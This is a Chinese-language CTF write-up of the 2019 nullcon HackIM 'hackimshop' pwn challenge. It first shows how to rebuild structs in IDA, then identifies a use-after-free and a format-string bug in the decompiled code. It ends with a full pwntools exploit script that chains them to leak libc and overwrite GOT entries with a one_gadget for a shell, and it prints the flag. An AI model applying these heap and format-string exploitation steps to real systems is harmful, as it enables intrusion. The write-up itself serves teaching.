HackIMshop的解析及學習
前言
正逢新年佳節之際,在準備除夕選單閒暇之時,正好看到了nullconHackIm這個比賽,從著”就看一眼”的真香原則,去看了一兩題pwn題,結果發現個挺有意思也挺有幫助新手學習pwn題中如何用ida逆向出好看的結構體的題,故記錄一下相關的內容。
hackimshop
➜hackimshop checksec challenge [*] '/home/Ep3ius/CTF/pwn/process/2019HackIM/hackimshop/challenge' Arch:amd64-64-little RELRO:Partial RELRO Stack:Canary found NX:NX enabled PIE:No PIE (0x400000)
ida開啟來看一下就能知道這是一個常規的選單題,當然這裡先是要講怎麼去建立結構體來讓題目反編譯看的更舒服,所以就選用book建立功能的函式來講解,先是ida直接反編譯的結果
void add_book() { __int64 v0; // rbx __int64 v1; // rbx int i; // [rsp+Ch] [rbp-34h] __int64 v3; // [rsp+10h] [rbp-30h] unsigned __int64 size; // [rsp+18h] [rbp-28h] if ( num_books == 16 ) { puts("Cart limit reached!"); } else { v3 = malloc(0x38uLL); printf("Book name length: "); size = readint(); if ( size <= 0xFF ) { printf("Book name: "); *(v3 + 8) = malloc(size); read(0, *(v3 + 8), size); v0 = *(v3 + 8); if ( *(v0 + strlen(*(v3 + 8)) - 1) == 'n' ) { v1 = *(v3 + 8); *(v1 + strlen(*(v3 + 8)) - 1) = 0; } printf("Book price: "); *(v3 + 16) = readint(); for ( i = 0; books[i]; ++i ) ; books[i] = v3; *books[i] = i; ++num_books; strcpy(books[i] + 24, cp_stmt); } else { puts("Too big!"); } } }
一堆 *(v3+8)
, *(v3+16)
什麼的我看的是挺頭疼的,所以我先把這些結構體還原的樣子貼出來一下
void add_book() { char *v0; // rbx char *v1; // rbx int i; // [rsp+Ch] [rbp-34h] book *newbook; // [rsp+10h] [rbp-30h] unsigned __int64 size; // [rsp+18h] [rbp-28h] if ( num_books == 16 ) { puts("Cart limit reached!"); } else { newbook = malloc(0x38uLL); printf("Book name length: "); size = readint(); if ( size <= 0xFF ) { printf("Book name: "); newbook->name = malloc(size); read(0, newbook->name, size); v0 = newbook->name; if ( v0[strlen(newbook->name) - 1] == 'n' ) { v1 = newbook->name; v1[strlen(newbook->name) - 1] = 0; } printf("Book price: "); newbook->price = readint(); for ( i = 0; books[i]; ++i ) ; books[i] = newbook; books[i]->idx = i; ++num_books; strcpy(books[i]->copy, cp_stmt); } else { puts("Too big!"); } } }
這樣是不是看起來就很舒服了,這題的結構體挺簡單的很適合新手上路,所以先簡單的講一下ida如何還原原來的結構體
首先我們 shift+F1
開啟結構體定義的介面,接著 右鍵insert
插入一個新建立的也就是ida沒還原但能看出來的結構體,大概長得像下面這個一樣
strcut book { unsigned __int64 idx; char *name; unsigned __int64 price; char copy[25] }
至於為什麼是這樣建的,你可能c語言基礎要紮實點知道在這個環境下int型別佔幾字節,指標佔幾字節這樣的預備知識,而上面的結構體就是我做這題時用的結構體,建完以後到對應的變數右鍵選擇 convert to struct *
選擇剛建的結構體就能看到舒服至極的反編譯了
接著我們看題目,在審計的過程中,首先能發現 remove_book
中free book後未清空book裡的內容,這會造成UAF漏洞
void remove_book() { unsigned __int64 idx; // [rsp+8h] [rbp-8h] printf("Book index: "); idx = readint(); if ( num_books > idx ) { free(books[idx]->name); free(books[idx]); --num_books; } else { puts("Invalid index"); } }
接著從 view_book
中可以很容易的發現在printf copyright時如果我們能控制copyright的內容,就可以產生一個格式化字串漏洞
void view_books() { unsigned __int64 v0; // ST08_8 signed int i; // [rsp+4h] [rbp-Ch] puts("{"); puts("t"Books" : ["); for ( i = 0; i <= 15; ++i ) { if ( books[i] ) { v0 = books[i]->idx; puts("tt{"); printf("ttt"index": %ld,n", v0); printf("ttt"name": "%s",n", books[i]->name); printf("ttt"price": %ld,n", books[i]->price); printf("ttt"rights": ""); printf(books[i]->copy);// fmt atk!! puts("""); if ( books[i + 1] ) puts("tt},"); else puts("tt}"); } } puts("t]"); puts("}"); }
那麼看到這些後就有想法了,如果我們可以控制copyright的內容的話我們就可以leak出libcbase,而UAF剛好能滿足這個需求,在簡單的測試後我們得到fmt的偏移量為7
#demo add(0x10,'0000',0x10) add(0x10,'1111',0x10) free(1) free(0) payload = 'aaaa'+'x00'*0x14+'%7$x' add(0x38,payload,0x10) show()
{ "Books" : [ { "index": 2, "name": "aaaa", "price": 16, "rights": "Copyright NullCon Shop" }, { "index": 1633771873, "name": "(null)", "price": 0, "rights": "61616161 ight NullCon Shop" }, { "index": 2, "name": "aaaa", "price": 16, "rights": "Copyright NullCon Shop" } ] } NullCon Shop (1) Add book to cart (2) Remove from cart (3) View cart (4) Check out
這時我們可以成功的leak出libc,在libcdatabase查了一下得到遠端的環境是libc2.27,這時我們切到libc2.27的環境下。
➜hackimshop strings libc.so.6 | grep GNU GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Compiled by GNU CC version 7.3.0.
接下來就是怎麼通過UAF+fmt+libcbase來getshell的問題了,說到UAF,我就想到有 house of spirit
,但用hos還需要滿足一些條件,這時巨強無比的格式化字串就出場了,任意地址寫可不是開玩笑的,通過組合這些漏洞在got表裡建立一個fakebook然後通過uaf去free掉,然後再從tcache中new回來這個chunk後往裡寫one_gadget,就成功的把got表中的函式改成onegadget,然後觸發覆蓋的這些函式就能getshell。
這裡附上EXP
#! /usr/bin/env python # -*- coding: utf-8 -*- # Distributed under terms of the MIT license. # flag = hackim19{h0p3_7ha7_Uaf_4nd_f0rm4ts_w3r3_fun_4_you} from pwn import* context(os='linux',arch='amd64',log_level='debug') # n = process('./challenge') n = remote('pwn.ctf.nullcon.net',4002) elf = ELF('./challenge') # libc = elf.libc libc = ELF('./libc.so.6') def choice(idx): n.recvuntil('> ') n.sendline(str(idx)) def add(size,content,price): choice(1) n.recvuntil('length: ') n.sendline(str(size)) n.recvuntil('name: ') n.sendline(content) n.recvuntil('price: ') n.sendline(str(price)) def free(idx): choice(2) n.recvuntil('index: ') n.sendline(str(idx)) def show(): choice(3) puts_got = elf.got['puts'] fc = elf.got['__stack_chk_fail'] cp_stmt = 0x6020a0 add(0x10,'0000',0x10) add(0x10,'1111',0x10) free(1) free(0) payload = p64(puts_got)+p64(0)*2+"%7$s" add(0x38,payload,0x10) show() n.recvuntil('price": 0,n') n.recvuntil('rights": "') libc_base = u64(n.recv(6)+'x00x00') - libc.sym['puts'] print "libc_base:",hex(libc_base) one_gadget = libc_base + 0x4f322 add(0x10,'aaaa',0x10) add(0x10,'bbbb',0x10) free(2) payload = p64(fc)+'x00'*0x10+"%113c%7$n" add(0x38,payload,0x10) show() free(2) payload = p64(cp_stmt+8) + p64(fc+8)+p64(0)+"%113c%7$n" add(0x38,payload,0x10) show() free(1) #gdb.attach(n) #add(0x60,p64(one_gadget)*0x10,12) choice(1) n.sendline(str(0x60)) n.sendline(p64(one_gadget)*0x10) n.interactive()
後記
雖然現在打比賽沒有那麼勤快了,但最近打的大部分比賽的pwn題中,有很大一部分是通過漏洞之間的排列組合,或者是說是常規操作來命題的,做這類題還是有點技巧的,只要基礎紮實一點,平時題目接觸的多一點,這些題都是能很快得到思路的,剩下的就是根據思路去除錯和踩坑了,感謝大家的閱讀,最後祝大家新年快樂~